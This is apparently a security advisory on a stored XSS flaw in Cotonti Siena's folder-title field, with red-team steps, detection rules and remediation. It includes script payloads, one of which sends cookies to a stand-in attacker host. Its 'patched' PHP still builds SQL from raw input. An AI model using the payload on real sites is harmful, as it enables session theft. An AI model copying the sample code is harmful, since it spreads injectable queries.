CVE-2026-58144

Executive Summary

CVE-2026-58144 is a stored cross-site scripting (XSS) vulnerability in Cotonti Siena 0.9.26 and earlier. An authenticated attacker with PFS (Personal File Storage) access can inject arbitrary script payloads via the ntitle parameter in pfs.main.php. The TXT filter fails to escape HTML, allowing malicious folder titles to be stored unescaped in the database. When any user (including administrators) views the folder listing, the injected script executes in their browser. This can lead to session hijacking, credential theft, or further compromise of the Cotonti instance.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs PFS access (authenticated user).
• User Interaction (UI): Required (R) – Victim must view the folder listing.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authentication but can lead to significant impact if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the pfs.main.php file of Cotonti Siena. The ntitle parameter is used to set the title of a folder in the Personal File Storage (PFS) system. The TXT filter is applied to sanitize input, but it does not escape HTML entities. This means that if an attacker supplies a folder title containing <script>alert('XSS')</script>, the script tags are stored as-is in the database.

When any user (including administrators) navigates to the folder listing page, the unescaped title is rendered in the HTML, causing the script to execute in the victim's browser. The attack is stored (persistent) because the malicious payload remains in the database until manually removed.

Attack Flow:

1. Attacker authenticates to Cotonti Siena.
2. Attacker creates a new folder in PFS with a crafted ntitle containing a JavaScript payload.
3. The payload is stored unescaped in the database.
4. Victim (any user, including admin) views the folder listing.
5. The browser executes the injected script, potentially stealing cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (pfs.main.php):

// No HTML escaping applied to $ntitle
$ntitle = $_POST['ntitle'];
$sql = "INSERT INTO cot_pfs_folders (user_id, title) VALUES ($user_id, '$ntitle')";
$db->query($sql);

Patched Code (Hypothetical Fix):

// Apply HTML escaping before storage
$ntitle = htmlspecialchars($_POST['ntitle'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO cot_pfs_folders (user_id, title) VALUES ($user_id, '$ntitle')";
$db->query($sql);

The fix ensures that any HTML tags in the ntitle parameter are escaped before being stored, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Cotonti Siena instance (version 0.9.26 or earlier).
• Valid user credentials with PFS access.

Exploitation Steps:

1. Log in to Cotonti Siena.
2. Navigate to the Personal File Storage (PFS) section.
3. Create a new folder with the following payload in the ntitle field:

   <script>alert('XSS')</script>
   

4. Submit the form. The folder is created with the malicious title.
5. Any user who views the folder listing will see the alert box.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual folder titles containing <script> tags.
• Review logs for POST requests to pfs.main.php with suspicious ntitle values.
• Use WAF rules to block requests containing <script> in the ntitle parameter.

Mitigation:

• Apply input validation and output encoding (e.g., htmlspecialchars()).
• Restrict PFS access to trusted users only.
• Regularly audit folder titles for malicious content.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /pfs.main.php with ntitle containing <script> tags.
• File System: Database entries in cot_pfs_folders table with title field containing HTML/JavaScript.
• Logs: Application logs showing creation of folders with suspicious titles.
• Behavior: Unexpected redirects, alert boxes, or cookie theft in user browsers.

Detection Engineering

YARA Rule

rule CVE_2026_58144_Cotonti_XSS {
    meta:
        description = "Detects stored XSS payload in Cotonti PFS folder titles"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58144"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $ntitle = "ntitle"
    condition:
        $ntitle and $payload
}

Sigma Rule

title: Cotonti Stored XSS via PFS Folder Title
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2026-58144 by injecting script tags into the ntitle parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "pfs.main.php"
        cs-method: "POST"
        cs-params|contains: "ntitle"
        cs-params|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in folder names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-58144 Cotonti Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"pfs.main.php"; http_uri; content:"ntitle"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PFS access for non-admin users until a patch is applied.
2. Manually review and remove any existing malicious folder titles from the database.
3. Implement a WAF rule to block ntitle values containing <script>.

Long-Term Fix:

• Apply proper output encoding (e.g., htmlspecialchars()) to all user-supplied data before rendering.
• Update to the latest patched version of Cotonti Siena once available.
• Conduct a security audit of all input handling in the application.

Workaround:

• Modify pfs.main.php to escape the ntitle parameter using htmlspecialchars() before database insertion.

Valters IT